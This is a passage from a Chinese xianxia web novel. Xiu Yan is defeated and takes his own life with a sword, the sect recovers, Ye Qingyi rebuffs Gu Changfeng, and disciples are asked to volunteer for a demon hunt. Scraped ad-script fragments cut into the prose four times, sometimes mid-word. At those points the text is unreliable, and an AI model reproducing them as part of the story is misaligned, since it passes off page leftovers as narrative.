法印逐渐扩张,向着修言逼近,所经之处,魔气都散了几分。 法印另一端还在叶清漪手中,掌心的血气还在扩散,要有足够的血气,才能维持法印,不让其被修言摧毁,渐渐的,她感觉到有些头晕无力,只是还仍然凭着信念支撑着。 身后的连喜匆匆赶来,看了眼倒在地上的顾长风,以及面色苍白的叶清漪,又看向头顶的法阵:“叶师妹,你这是做什么?快停下,再这样下去你会撑不住的。” 叶清漪只说没事,让他不用管。 见劝说无果,连喜举起墨羽剑就要隔自己的手:“用点我的血替一下吧!” “你的血没用,我是之前吃了太多丹药,又泡了灵泉,我的血才有驱散魔气的作用,再者说,这个法印只能由一人独自完成,你若插手,法印会立即失败的。” “你这……你几时学的这么复杂的法印?”连喜头疼不已,急得原地打转。 好在叶清漪结的法印起了作用,修言的魔气被克制了不少,但很快,对方反手一挥,魔气接二连三打在法印上,法印的作用越来越微弱了。 不过这已经为云宸争取了不少的时间,也让他有了反击的余力。 此前山体灵气被分了一部分压制魔源,另一部分则压制着散落各处的魔气,对付修言就有些吃力,如今在叶清漪血印的辅助下,一部分山体灵气得以收回,云宸也不再留手,全力向修言发动攻击。 一股强烈的紫光冲破黑暗,盖过了大部分的黑气,修言被此一击,也没有余力对付叶清漪了,而是专心和云宸斗法。 几个回合下来,二人不分胜负,但修言明显比之前吃力,隐隐有落败之势,可不管云宸怎么压制,他总能在最后关头反击,这样下去云宸只会损耗更多的元气,但无法完全打败修言。 关键还是在魔源上,只要魔源还在,不管多大的损耗,修言的内丹都会被其修复。 需得有人来对付魔源。 只是顾长风被魔气缠身,叶清漪被法印牵制着,也很虚弱,连喜也不太乐观,拂尘和戒律则更指望不上。 若是……执明…… 云宸一个闪念,还没来得及惋惜,就见云凛阁上出现了一袭白衣,长剑在手,衣袂翻飞,赫然正是执明。 云宸一心斗法,都不知道执明是何时不见的。 执明站在云凛阁顶,朝云宸投来一个会心的笑意。 “师兄,这安稳的日子我也过够了,落仙谷我也是不会让你去的,只是多年没活动,不知道我这修为还有没有退步!便拿这魔源来练练手吧!” 执明说着,一提佩剑,不管不顾地向那魔源冲去。 66. 击败修言 叶清漪失血过多,再难维系,双腿一软跪了下去,手心的法印连接也断了。 以血结印净化魔气,借用妖契反过来在密林施加了结界,阻断了修言吸收密林魔气的通道…… 她能做的都做了,她也只能帮到这了。 连喜眼疾手快,第一时间接住了她。 叶清漪半靠在连喜怀里,抬着头,看着云宸和修言缠斗在一处,另一边的执明又在跟魔源一较高下。 一片灰蒙蒙中不时绽放几道亮光,即便看不清状况,也能感受到斗法有多激烈。 双方不知斗了多久,也久久不见执明出来。 连喜看了看她的双手,撕了两片衣服要给她包上,叶清漪也没有力气推辞。 叶清漪无声地靠着连喜,等待着最后的结果,右手手臂内侧的翅膀印记此时已经没有术光了,只是中心那块皮肉有些泛红,乍一看像一块烫坏的烙印。 连喜瞥了一眼,没有追问。 大约过了半盏茶之久,雾气里的术光不再闪烁,天地一片沉寂。 倏然,一个黑影自重重雾气中飞出,另一个身影紧随其后,与此同时,执明终于从魔源内部脱身,和停在半空的云宸默契地同时看向对方,相识一笑。 雾气开始散去,山体灵力被尽数释放,魔源内核的血气被执明召来的驭冰兽牢牢冻住,不再活跃,没了魔心的滋养,外围的黑气很快被山体灵气吸收分解。 天地间恢复了澄明。 地上的黑影动了动,是修言,他就倒在距离叶清漪几丈外的地方,看样子还有气息。 云宸自半空落在他面前,紫霄剑背在身后,垂下眼帘看着他。 执明也随即落下。 修言撑起身子,似乎想站起来,魔源却在此时完全被清除,他骤然泄了力,栽倒在地,笼罩在他身上的黑气也逐渐平息。 “技不如人,我认了。”修言说话虽然含混不清,但气势不减,“还等什么,动手吧!掌门师兄!” 云宸衣摆上也沾了不少血迹,大约也受了一些伤,但他的状态看起来还是比修言要好的。 叶清漪的心放下了一半,又怕修言还有什么后招,一直紧张地关注着他的动向。 云宸已将他击败,却没有杀他,应该也是念在同门情谊上,毕竟这么多年的师兄弟,对于云宸来说,一时也确实难以下手。 “你已被魔气反噬,修为尽废,无需我再动手了。”云宸眼眸低垂,看不到他眼中的情绪,语气听上去还算平静。 “少在这里故作姿态了。” “你内里已经空虚,真气尽散,此后也无法再重新修炼了,我又何必多此一举呢?” 修言这会儿终于撑起上半身,借着一只胳膊的力气翻了个身,仰面躺在地上,听到云宸此言,大笑几声,道:“你还真不愧是云徵最得意的弟子,把他那套道貌岸然的样子都学了去,简直和他当年一模一样,明明是他不赞同我的想法,却偏要说是为了我好,如今你也是,明明恨极了我,嘴上却说着这些违心的话,真是让人不耻!” “你!”执明气得要上前,被云宸拦住了。 “我是如何想的,不必跟你分说,至于你这一通经历,实则是你命中大劫,只是你当局者迷,不曾勘破罢了!” 云宸此言一出,执明也很是惊讶,躺在地上的修言闻言也收起了嘲弄的笑意,像是意识到云宸所言不虚了。 “你我几人,也算是天生奇才,修炼之路比起常人轻松百倍,悟性更是绝佳,早早就达到了旁人达不到的修为,屡屡教人望尘莫及,艳羡不已,殊不知,诸如此类资质超群之人,命中注定自带大劫,每个人的劫难不同,而如今,这便是你修言的大劫。若你参悟明白,自可得超脱,悟大道,此后修为突飞猛进,飞升指日可待,若参不透,则一生受其所扰,乱你本心,毁你所有,让你万劫不复。” 修言愣了片刻,随即又大笑起来:“什么劫难不劫难的,不过是失败者给自己找的借口罢了!这条路是我自己选的,如今这样,我谁也不怨,若非说是因为什么,大抵是我天命如此吧!” 修言说完,又努力撑起上半身,踉跄着想坐起来,最后也只能勉强用手撑着一半,侧着身子靠在地上。 “天命也好,劫难也罢,你如今这样也算是得了教训,念在昔日的情谊,我不杀你,你可在云凛阁继续休养,之后是去是留都随你。” 云宸说完这些,看了眼叶清漪这边,正打算过来查看。 往前走了两步,又听修言的声音在身后响起:“没了我,日后这云仞山就要靠你自己了。” 语气里终于有了几分真情意。 云宸脚下一顿。 “以后,我再不能帮你了……” 修言又道。 语气中竟然带了几分哀伤。 云宸也有几分动容:“这些年的确辛苦你了,云仞能有今日,也多亏了你。” 修言轻笑一声,算是回应。 云宸说完那一句,不再多言,提步前行。 刚走了两步,只听身后一声沉闷的刺痛,紧接着的是执明慌乱的声音:“修言!住手!” 云宸回头,只见修言不知何时将霜华剑握在手中,剑身如今一半在他手里,一半在他背后,大半个剑身都带着鲜血,这把剑直接贯穿了他,修言用他亲手为女儿打造的佩剑了结了自己,也算是在为手刃亲女恕罪吧! 云宸和执明都来不及阻止,这剑如果拔出来,修言就更活不成。 “我绝不会……让你们……肆意侮辱我……”修言说着直直倒下,“那样的日子,活着比死了更痛苦!” 说完这句,修言脑袋一歪,无力地贴着地面,嘴角源源不断渗出血来,双手自剑柄滑落,整个人瞬间失去了力道,软软地趴了下去。 云宸眉头紧锁,望着这一幕,不知作何想。 执明上前探了鼻息,手指一颤,神情发怔:“修言他……” 他说着看了云宸一眼,又看向倒地的修言,说出后半句:“他自我了断了……” 这像一声叹息,也像一记闷雷,将所有人唤醒。 气氛无比沉重,像是有股无形的力量压在胸口,让人喘不过气来。 叶清漪的心情也没有因此轻松,唯一的威胁没有了,云宸的命运也改写了,可事到如今,又算得上是圆满结局吗? 叶清漪没有答案,修言已除,她本该高兴,可看着丧命的二人,又没有半分快意,这让她自己都有些意外。 在这场变故里,没有人是赢家,他们护住了一些东西,同时也失去了一些,至于失去的是什么,大概只有每个人心里最清楚。 …… 这件事给云仞山带来了不小的损耗,众弟子多多少少都被魔气侵蚀,山体灵气消耗严重 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,云仞山防御薄弱,又没办法加派弟子去把守山门,这时随便来个小门小派,都能给云仞不小的打击,好在如今还算太平,加之山门处还有云宸设立的结界,山中弟子短期内基本无虞。 因为入了魔修,无法羽化,云宸和执明便将修言的尸体和凌雪瑶的母亲葬在了一处,凌雪瑶也被安葬在旁边,没想到一家三口竟以这种方式团聚,实是唏嘘。 处理完这些后,云宸立即闭关,多日未见出来,或许他需要疗愈的不仅仅是身体上的伤痛,还有此事带给他的复杂的情绪吧! 叶清漪和其他受伤严重的弟子,则都被转移到了藏宝阁附近的仙灵道场,集中休养,仙灵道场地处云仞山制高点,灵气最为纯净,后方又有闲置的联排寝舍,原本是为了给仙门大会的其他门中弟子用的,不过仙门大会好几年没在云仞开了,这地方也就空了出来,如今正好用上。 弟子们每日在道场一起打坐,清除体内魔气,膳堂的菜品也都替换成了能清心静气的食材,每日会有仙鹤专门将膳食送过来,前山所有课程全部暂停,后山弟子们近期也停了所有山下的试炼,可谓是百废待兴。 就这样,等到弟子们尽数恢复,云仞初步恢复如常,已经是几个月后了。 让叶清漪没有想到的是,这年新弟子的考核也因此作罢,只等明年最后的考核来确定最终人选了。 叶清漪也无所谓,如今最大的隐患已经不在,之后的事情如何发展,她也没那么强求了,或许这次暂停考核,也是冥冥之中给她一些暗示。 不过如今还早,那些事情等到一年后再考虑也不迟。 恰好考核取消,这年岁末倒是多出许多闲适时光。 只不过…… 她和顾长风之间,如今有些难以言喻,修言走后,顾长风并未受到责罚,也没有被仙门除名,甚至连一句斥责也没有,他还继续做他的大师兄。 不仅如此,因为修言不在了,顾长风没有师尊带领,几位长老正在商讨如何安排顾长风的去处。 拂尘长老是唯一没有亲传弟子的,但顾长风并不适合丹修一脉,是以没有安排前去,其余二位各有一位弟子,只是就戒律而言,的确没有什么能教顾长风的,而执明则主修御剑御兽,看上去是唯一的人选,但执明仍旧是那副闲散的性子,泽成几乎全靠自学,有时候还反过来替他将事事安排妥当,顾长风若拜入他门下,其实跟没有师尊没什么两样。 如此,顾长风的去处便一再耽搁,尚无定论。 而他和叶清漪也一同在仙灵道场休养,每每遇见,总感觉二人只能冷眼相对,若哪一方表现得有一点松快的意味,又恰好被对方看到,看起来似乎是一种背叛,一种对逝去之人的背叛。 这样的感觉横亘在他们之间,虽未明说,但彼此心中了然,尽管叶清漪想不明白缘由,可一切看起来似乎又很合理。 她可以在连喜面前肆意欢笑,不去在意什么。 但当她面对顾长风时,那种感觉便会自动出现,好像二人被困在了同一个地方,只有彼此可以看见。 这样的状态持续了一段时间,终于有一日,两人再次迎面遇上,这一次,二人没有再沉默地错身而过。叶清漪刚想像之前那般从顾长风身边走过,却被他一把握住了手腕。 “我们谈谈吧!” 叶清漪错愕转身,顾长风眼底的泪水让她有些无措。 67. 仙灵道场 山里冷的早,早早便迎来第一场大雪,整个云仞银装素裹,树上、屋顶上都覆了厚厚的积雪,飞禽走兽也没了踪迹,天地间安静无比,只有簌簌的踩雪声。 她和顾长风沿着仙灵道场一前一后走着,一时无言。 一直走到道场一侧的廊道,顾长风才回头示意她进到廊道里面。 叶清漪吸了吸鼻子,裹紧了身上的斗篷,领子上的风毛轻扫着她的侧脸,也为她挡去些许严冬的寒冷。 顾长风回头看她:“冷吗?” 叶清漪抬眼望去。 顾长风对上她的视线,瞬间低下头去,闷声问道:“你……恢复得如何?怪我,之前伤得那么严重,不该带你出来吹冷风的。” “这几日下雪,取消了每日打坐,弟子们都待在屋子里,也就这里人少,你有什么话就赶紧说吧!”叶清漪抢过话头。 察觉到叶清漪语气的细微变化,顾长风微不可察地叹了口气,斟酌再三:“我知你心里怨着我,这是我应得的,我没有什么好辩解的,只是日后,怕是难以相见,故而今日特来与你剖白一二,我不想带着这个遗憾离开。” “什么离开?你要去哪儿?” 顾长风抬眸看她,眼底柔情流转,隐有不舍:“我……” “你不会要寻死吧?”叶清漪惊得一把拉住他。 顾长风看着叶清漪抓着自己小臂的动作,眉头微微舒展,但还是带着愁苦:“这仙门我是待不下去了,就算掌门宽厚,不欲追究,我也没脸面再留下去了。” 叶清漪松了口气,甩开他的胳膊,没好气道:“下次能不能一次性说完!” 顾长风眼睛亮了亮:“师妹你,可愿与我一同下山?” 叶清漪没有说话,正打算将手收回,却被顾长风一把抓住。 叶清漪:……!!! 她第一时间查看四周有没有弟子路过,确定没人看到,稍稍松了口气,试图将手往回抽,但被顾长风紧紧握着,她也没有再挣扎。 顾长风见她态度缓和,上前一步,走得更近了一些,将她的手心摊开,叶清漪之前徒手握碧落剑的伤口已经大好,只是毕竟是被灵剑所伤,即使恢复得再好,到底还是留下两道长长的伤疤,一处横贯掌心,一处位于四指第二节处,淡粉色伤口平整,表面长出来的新肉有些许凸起,仅从伤疤来看,也能想象出当时的伤口有多么深。 顾长风眉心因为懊悔皱在一起,他小心翼翼轻抚那道伤疤,叶清漪猝不及防,下意识往回缩了一下。 “抱歉,弄疼你了吗?” “没什么,有点痒,伤口早就长好了,还疼什么?”叶清漪语气如常。 这样的态度更让顾长风五味杂陈,他端详着伤口,过了会儿,一滴热泪低落叶清漪的掌心。 叶清漪吓得一激灵,凑近一看,顾长风还真哭了。 她十分不解:“伤的是我,你怎么还哭了?” 顾长风别过脸去,将眼泪擦了,又不知想到了什么,再次轻轻啜泣起来:“这哪像是女子的手,就算是门中寻常的男弟子也没有你这般伤痕累累的。” 叶清漪:“…………” 眼见顾长风泪流不止,叶清漪举起空着的那只手,略一犹豫,在他肩头轻拍了两下。 “好了好了……这不是都愈合了吗?回头抹点膏药,一点疤痕都不会留下的。” 叶清漪:受伤的到底是谁啊? 顾长风闻言一抬头,急忙止住哭,在袖袋里踅摸一通,掏出一个小瓷罐:“这是玉肌膏,我素日用来抹手的,你拿着,我就带了这些,用完了我再给你带。” 叶清漪扯了扯嘴角:“不用了,我就随口一说……” 顾长风不由分说塞到她手里。 叶清漪只好收了,揣进怀里。 她就知道顾长风没事偷摸用这些香膏擦手! 顾长风又一声不吭地将她的手笼在他的斗篷之下,双手轻轻握着,视如珍宝。 顾长风掌心温热,叶清漪的手很快就暖和起来。 叶清漪在心里叹了口气,她不介意这些接触,也不想跟顾长风在仙灵道场大吵大闹,但她心里也没有格外欣喜。 这也是她一直思索的问题,她对顾长风,到 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 底是什么感情? “那你可愿与我一同离开?” 叶清漪认真思索了,抬眼正视他,语气郑重:“你真的想好了吗?” 她没想到顾长风会想离开云仞,毕竟他对云仞来说还是挺重要的,加之……叶清漪如今也在盘算着离开,一时间门派大师兄大师姐双双退出,还真是罕见。 “我知道,你心里怨我,不管你信不信,我还是要说,我真的没有想过要伤你,当时的情形,我只有那样做,才会让凌霜长老暂时不针对你。” 凌霜的真正死因只有当日在场的人知道,对其他不知情的弟子以及外界的说辞都一致是,密林结界失效,凌霜为了压制四处逃逸的魔气才会身亡,也算是给修言留了体面,同时维护了云仞的名声,也保护了顾长风的颜面。 少部分知道内情的,都对这种处理方式习以为常,也知道事情的严重性,都默契地守口如瓶。 但门派内也改了对修言的称呼,只称名字。 “没什么,都过去了。”叶清漪说着别开脸,又将手抽了回来。 顾长风的手停在半空,片刻后失落地收回:“我知道如今我再怎么解释你也不会信了,我只求能将自己的本意说明,不想离开之时还带着遗憾。” “我是说真的,原本我是有点气恼,但后来我也想明白了,这件事我们谁都没有做错,只是立场不同罢了。”叶清漪耐着性子解释。 “你还是误解了,我当时并未带有任何立场,只是那种情形下,我只能如此。” “我没有误解……”叶清漪说到一半不说了,无奈地叹了口气。 顾长风不相信她的话,就算她说了也没用,发生的误会可能不是二人最大的障碍,但这误会带来的影响,却是横亘在二人之间的一道鸿沟——顾长风认定她会误解他,就算她说的全是真心话,他也不愿相信。 就算二人两不相欠,但顾长风心里会认定,叶清漪误解他,在他心里,便是有所亏欠。 说到底,不止她不了解顾长风,顾长风也从未了解真正的她。 她和顾长风之间,是个死局。 68. 邪灵袭城 “我说了,没有。”叶清漪简短说了几个字,便不再纠结此事,“至于下山一事,是你自己的决定,你想清楚就好。” 顾长风还想再重复之前的问题:“那……” “至于我,就算我真的要下山,那也不是和你一起,我们各自走各自的路,就不要……再互相牵绊了吧!” 叶清漪转头准备离开。 顾长风伸手拉住她:“是因为……凌师妹吗?” 叶清漪身形一顿,定了定视线,目光逐渐悠远,对面连绵起伏的雪山像一道屏障,守护着仙灵道场,她不由得深吸一口气,冬日的凌冽瞬间灌满鼻腔,思绪也变得清晰,她轻轻开口,声音像被初雪浸过。 “和她没关系,是我的问题。“ “那是……什么意思?” 叶清漪双肩微不可查一沉,转过身来,正视面前之人:“顾长风,凌雪瑶的死和你我无关,我也不会让她影响到我的任何决定。” 顾长风仍旧皱着眉,不明白叶清漪言下之意。 叶清漪轻轻推开顾长风的手,掏出之前那个白瓷瓶,塞到顾长风手里:“像这样,才是我想做的。” 顾长风心里有不好的预感。 叶清漪向前半步,拉开二人的距离,指着眼前的仙灵道场:“这道场是由双色地砖铺就的,正中心是一个巨大的八卦阵法图案,为在此打坐的人提供额外的天地精华,有清心净气的加持。也许是因为在此打坐了这些时日,也可能是因为难道闲了这许久,这段时间我倒是想明白了一些事情。其实打从一开始,我就不清楚自己想要什么,修为第一,便自然而然当了大师姐,对于门派事务到底感不感兴趣,我从来没想过,你要与我交好,我便默许你与我同行,想着反正也不厌恶,与你一起也没什么,你给的东西我便拿着,也不管自己是否真的想要,只是觉得收了你能高兴些,你说想和我当道侣的时候,我第一次有了比较强烈的抗拒,但最后我还是忍下了,也是认为答应了也没什么。 “其实后来我魔气侵体,不能与你继续当道侣的时候,我心里是有暗暗松了口气的,只是我没有细想,后来更是被你立场的转变激怒,陷入对你的憎恨,可那并不是因为无法跟你做道侣,曾经我一度也不明白是因为什么,如今想来,大约只是一种不甘罢了。 “那日在明镜台,我虽然说前世是你杀了我,但我并不认为,我是因你而死的,只是刚好死在你手里,就算没有你那一剑,那日我也是活不成的。” 叶清漪说了很多,可她说的越多,顾长风的眼神越迷茫。 叶清漪见状无奈摇头:“罢了,简单来说,是我想明白了。不管是前世,还是进山这两年,你我之间的前尘往事一笔勾销,今后互不相欠,就当普通弟子相处便好。” 眼见道场上路过的弟子开始多了起来,叶清漪话也说清楚了,便准备离开。 “师妹且慢!”顾长风紧走两步追上来,要再将香膏塞给她,“日后的事慢慢说,这东西你先收下!” 叶清漪不想收,便急走两步,顾长风也紧跟上来。 一来二去,就拉扯起来了。 叶清漪发现她把事情想简单了,就算她极尽坦诚,顾长风也未必听得进去。 “顾长风,我该说的都说了,你怎么还跟来?” 顾长风在边上一口一个师妹地叫着,叶清漪头更痛了。 这时一个熟悉的声音出现:“大师兄,叶师妹,你们都在呢!” 叶清漪回头望去,是连喜。 见有人来了,顾长风这才停住手。 叶清漪连忙紧走两步,迎上连喜:“刚好碰上,你这是打哪来?” “我刚回了趟流云殿,师尊今日出关,我回去看看。”连喜今日穿了件大红猩猩毡斗篷,发髻高束,神采奕奕。 “掌门出关了!”叶清漪欣喜道。 连喜点点头,又在叶清漪和顾长风之间比划了一下,问:“你们这是?” 顾长风刚准备开口,就被叶清漪抢过话头:“没什么事,我们闹着玩呢!掌门他怎么样,恢复的还好吧?” “好着呢!”连喜说着看向一旁的顾长风,“对了大师兄,刚才我过来的时候在那边遇到唐旖柔唐师妹了,她好像……找你有事,只是不知道怎么了,又调头走了,你要不要去看看?” 顾长风:“啊?” “唐师姐来了?那肯定找你有急事,你赶紧去吧!”叶清漪如获大赦,三两步冲到连喜面前,“多日未见,你气色倒是挺好。” 连喜咧嘴一笑:“还行吧!” “正好,我找你有点事,走。”叶清漪二话不说,上前挎上连喜胳膊就走。 “去哪?你俩……聊完了?” “不用管他,你今天这身很不错,红色很衬你啊!” “是嘛,之前在山下集市的锦绣坊做的,今天特地穿上,下次带你一起去啊!” 二人说话声逐渐远去,只余顾长风一人尴尬地留在原地。 * 叶清漪一直拉着连喜走到道场入口,见顾长风没有跟上来才松了一口气。 叶清漪豪气地拍了拍连喜:“多谢你了,替我解围,只是你也别拉上唐旖柔,回头顾长风要是和她说起此事,不就露馅了?” “没有啊,我说的是真的,刚才就在这,唐师妹打着把伞,拎着个食盒站在这,也不走,看那样子,想是站了有一会儿了。” “啊?那她怎么不过来?这仙灵道场又没设禁制,仙徒都是可以自由出入的。” 连喜茫然地摇摇头:“不清楚,我跟她打招呼她也没理,只是她情绪似乎有些低落,眼睛还有些红,不知道是在雪地站久了冻着了还是什么。” “该不会哭了吧?” “不至于吧!她看到什么了就站这儿哭啊?” 叶清漪仔细回想,确定她刚才和顾长风的举止没有不得体的地方,虽然中间拉拉扯扯的,但隔这么远,唐旖柔应该也看不真切。 “罢了,我们管那么多干嘛,他们的事情让他俩自己解决吧!” “你该不会……吃醋了吧?”连喜觑着叶清漪的神色 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,“刚才看你跟大师兄之间,好像有些不太对劲啊!” 叶清漪:“???!!!” 下一刻,一记爆栗毫不留情砸在连喜头上。 “我看你也是最近闲的慌,掌门闭关这么久,没人管你了是吧!” 连喜吃痛出声,一个劲儿揉着脑袋:“你怎么能这么对师兄呢!” 叶清漪被他的反应逗笑:“有这么夸张吗?我没有很用力啊!让我看看。” 叶清漪说着踮脚去看,手却不小心碰到连喜的耳朵,连喜连忙往旁边一闪,耳朵瞬间就红了。 “没……没事,不用看了……”连喜草草揉了两下脑袋,表示无碍了。 “真的没事吗?你刚不还说很疼,要不要我再帮你看看?”叶清漪作势欲抬手。 “真不用了。”连喜连声说道,往后让了让。 “行吧!”叶清漪不明所以,又道,“我吃什么醋啊?我现在只想尽快恢复修为,其他什么也不想。” 说着又盯着连喜看。 看得连喜眼神不由得闪躲:“怎么了?” 叶清漪指了指自己的耳朵:“你耳朵好红。” “啊!这个……”连喜的手抬了抬,忍住没有去碰耳朵,接着磕磕巴巴地解释,“太冷了,冻的。” 叶清漪将信将疑,不再细究:“那便赶紧回去吧!别在外面站着了。” 叶清漪说完一马当先走在前面,连喜错开半步跟在后面,一直默默在后面看着叶清漪,不由自主地笑起来,二人就这样一同往仙灵道场的寝舍走去。 如此安稳的日子持续了数日,临近年关之时,出了件不大不小的事情。 彼时住在仙灵道场的弟子已经开始陆续搬了回去,剩下的再休养几日也可以离开了,总之在年前大概都能回到自己的寝舍中。 叶清漪也搬了回去,寝舍里的师妹几个还跟之前差不多,只是不知不觉已经好几个月没见了,几人叙话片刻,裴佩忽然说起,近来山下似有邪灵出没,长公主已经派人向掌门递了请帖,先是表示对云仞此前遭遇的同情,又表达了希望可以派几位弟子前去冀州城除妖的意愿,毕竟临近年关,若是被这邪灵闹得人心惶惶,实在不利于时局稳定。 “掌门有说过派谁去吗?”叶清漪问。 “没,掌门刚出关,还没来得及安排呢!”裴佩道,“况且掌门也在为此次下山的人选犯愁,毕竟云仞现在也是刚刚恢复秩序,魔气蔓延在空气中,山体灵气又有所损耗,不能完全将其隔绝,弟子们都受了不同程度的影响,修为大减,如今能下山的人实在太少。” 夏侯静仪补充道:“执明长老跟掌门提议,要安排一场招募会,让想去的弟子自行去报名,此次除妖凶险异常,我看怕是没什么人会去,估计到最后还是要指派人选。” 叶清漪听着这话,不由得陷入沉思。 这场除妖,似乎也提前了,前世她就是靠着这次下山除妖,才坐稳大师姐之位的,可她如今的修为状况,只怕难以战胜妖邪。 她这一次还要前去吗? 69. 沧云问心 “你俩要去吗?”夏侯静仪咬了口红枣糕。 “我才不去,这次魔气泄露这么强,整个门派的人都被侵袭了,连膳堂烧火的外门弟子都没逃过,我现在还感觉体内的魔气没有完全去除呢!哪有力气和师兄们一起下山除妖啊!况且,我在膳堂听到几个师兄说,这次的邪灵十分厉害,隔壁寒天门派了好几波人,都没将其擒获,还伤了不少弟子呢!” 裴佩拈起一杯新砌的祁门红茶品了两口。 “我也是,还有一年了,我就想安生待着,等仙徒期满就回家,我娘可答应我了,只要我来当三年仙徒,就不逼我嫁人了,等下山后我可要去醉仙楼点上一大桌好吃的,好好祭祭五脏庙!” “我看你这也没少亏了这张嘴啊!”裴佩指了指她面前的一大盘子点心。 夏侯静仪一噘嘴,表示这才哪到哪,醉仙楼的鲜笋腊肉菜园汤可是一绝,比鸡汤还仙,又连夸了好几道菜,听得裴佩直犯馋,连忙求她打住了。 夏侯却叹了口气,耷拉着脑袋:“这么一说,我这盘点心忽然不香了。” 裴佩无奈摇头,推给她一杯茶,让她少吃点甜食,喝点茶清清肚子。 夏侯依言接过,小口喝了起来。 裴佩见叶清漪半天不说话,用胳膊捅了捅她:“想什么呢?你不会想去吧!” “没有,我不想去。”叶清漪言简意赅。 “别去了,你伤刚好,好不容易回来了,好好休息几天。膳堂新添了冰糖雪梨和羊蝎子火锅,晚点带你去吃,你好好补一补。” 夏侯静仪一听,眼睛瞬间亮了:“我要吃小炒羊肚!” 叶清漪失笑:“好,也是好久没吃膳堂的饭了。” 天天吃那些清心净气的药膳,实在是寡淡,现在恢复了,终于可以恢复正常饮食,叶清漪也很高兴,至于下山除妖什么的,还是教给其他更适合的人选吧!她是折腾不动了。若有人能顺势接过之后大师姐的位置,她也乐得清闲。 一切逐渐恢复如常,问道堂也恢复了课程,第二日早课时,执明宣布了这件事,问学徒们的意愿。 整个问道堂鸦雀无声。 执明的视线在堂内扫了一圈,含笑道:“无妨,你们不必急着决定,晚些时候会召集大家去沧云殿,你们好好考虑一下,要是想去就递个名字。” 执明说完准备讲课。 “长老,报名下山有什么奖励吗?”有弟子举手问。 执明:“这……” “对啊,听说那邪灵凶狠异常,除非有什么特别丰厚的报酬,不然何必叫上我们,”另有弟子提出。 “听说寒天门大师兄冷凡都受了重伤,现在还在医馆躺着呢!我们大部分人都还没结丹,如今又刚从魔气侵体中恢复,去了不等于送死吗?” 其他人纷纷表示赞同。 执明也不恼,只道:“自然是有的,你们去听听便知道了。” 言罢一拂袖,每个人面前便多了一个不大起眼的小石头,乍一看像是普通石子,握在手里那石头表面便泛着五颜六色的光彩,颜色还会随着转动不断变化。 “动员会定在下午,这期间你们可以好好考虑一下,若有意报名,只需握住各自的问心石碎片,默念自己的名字即可,沧云殿的问心石便会出现你们的名字。” 底下顿时炸开了锅。 “不说奖励是什么就让先报名吗?” “是啊,我们都不知道什么情况,这跟玩儿命有什么区别?” “报了名还能反悔吗?” “……” 眼见众人无心学习,执明也乐得偷闲,干脆让大家自习,提着破影剑走了。 及至散学,众人收拾东西陆续离开,叶清漪也将书收了,准备去膳堂,刚往过道移了一点,脚还没跨出去,就被人狠狠撞了一下肩膀。 叶清漪吃痛退回座位,一抬头,只见许欣月趾高气扬地看着她。 身后的裴佩见了当即骂骂咧咧:“许欣月你怎么走路的?故意的吧!” 许欣月如今也内敛了不少,不会轻易被激怒,只说:“我赶着下学,不是成心的,再说了,这过道不就是给人走的吗?怎么没撞到其他人,偏就撞到你了?只怕是有些人自己冒失,还要怪到别人头上!” 裴佩一边查看叶清漪的状况一边骂:“你那眼睛没用就扔了吧!狗都比你会看路!” “你!”许欣月还想回嘴,但是她正占着过道,其他人都被堵在后面,见她不走,已经开始催促。 “走不走啊!赶着吃饭呢!” “是啊,好狗不挡道啊!” 许欣月见局势不利,不再纠缠,骂了句“急什么”,白眼一翻,走了。 裴佩气得火冒三丈,说话就要追出去:“我去帮你收拾她!” 叶清漪按住她的手:“算了,吃饭要紧。” 裴佩一听:“也是,不值当为了这种人浪费心力,回头吃饱了再报仇也来得及!” 叶清漪不动声色,检查了一下袖袋,石头还在,看着许欣月离去的方向,叶清漪眸色越发深沉。 吃过午饭,三人一起往寝舍走,路上又提起此事,叶清漪已经决意不去,本想将问心石碎片扔了,转念一想,还是留下了,以防万一。 午休过后,学徒们开始三两成群往沧云殿去了,寝舍外传来切切察察的谈话声,都是在讨论下山一事,言语间多是不满,看来对此次历练颇有微词。 眼看时间差不多了,叶清漪也跟裴佩她们出发了。 沧云殿在前山西北方,从问道堂下的小路可以穿过去,不用经过凌云广场,他们到那儿时候较早,殿门没开,学徒们都等在殿外,有一搭没一搭的闲聊天。 午后的阳光弱弱的,虽然已经放晴好几天了,还是有些冷,偶尔幽幽吹来一阵小风,夹杂着冬日的凌冽,直往骨头缝里钻。 叶清漪和裴佩、夏侯挨在一起取暖,冬日的学徒制服虽然厚实,到底也没有室内暖和。 “赶紧结束吧!难得下午没课,我还想回去补觉呢!”裴佩将手拢在嘴边打了个哈欠。 “怎么还不让我们进去?”夏侯静仪踮起脚往人来的方向张望。 “大概是人没到齐吧!”叶清漪随口道。 这时夏侯静仪忽然收回视线,低声提醒:“掌门来了!” 叶清漪抬头,只见云宸少见地穿了件月色交领锦袍,银冠玉带,剑眉星目,外罩同色对襟罩衫,看上去略显单薄,但他却没有半分畏寒,气色 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 也很好,想来修为已尽数恢复。 身后跟着执明和其他两位长老,以及顾长风、泽成、不辞三位大弟子,外加五六位内门师兄,声势浩大。 学徒们立刻安静了,迟来的几位也赶紧溜进了队伍,叶清漪她们也赶紧站好了。 云宸没有停留,径直往沧云殿走。 殿门感应到云宸等人走近,自动开启,云宸和几位长老先行进殿,三位大弟子则依次守在台阶一侧。 顾长风站在最高一级台阶上,没有看向叶清漪的方向,她暗暗松了口气,同时心底滑过一丝莫名的落寞。 “排好队,两个一组,按秩序进殿。”若阳带着剩下的弟子组织大家排队,排好一队就先进去,他则守在进门处统计人数。 很快轮到叶清漪,她一把拉过裴佩站在自己左侧,裴佩看了眼站在台阶上的几个师兄,也明白了一些。 顾长风余光瞥见她这一举动,本就没什么光彩的眼神又黯淡了几分。 叶清漪根本不敢东张西望,闷头一路走过台阶,进得殿内才后知后觉,她作什么这么心虚啊? 裴佩看出她的别扭劲,试探地问:“你和大师兄怎么了?是闹不愉快了吗?” “没有,只是觉得此时不适合闲聊,便没有打招呼。”叶清漪胡乱找了个借口,不想多言。 裴佩也没有追问。 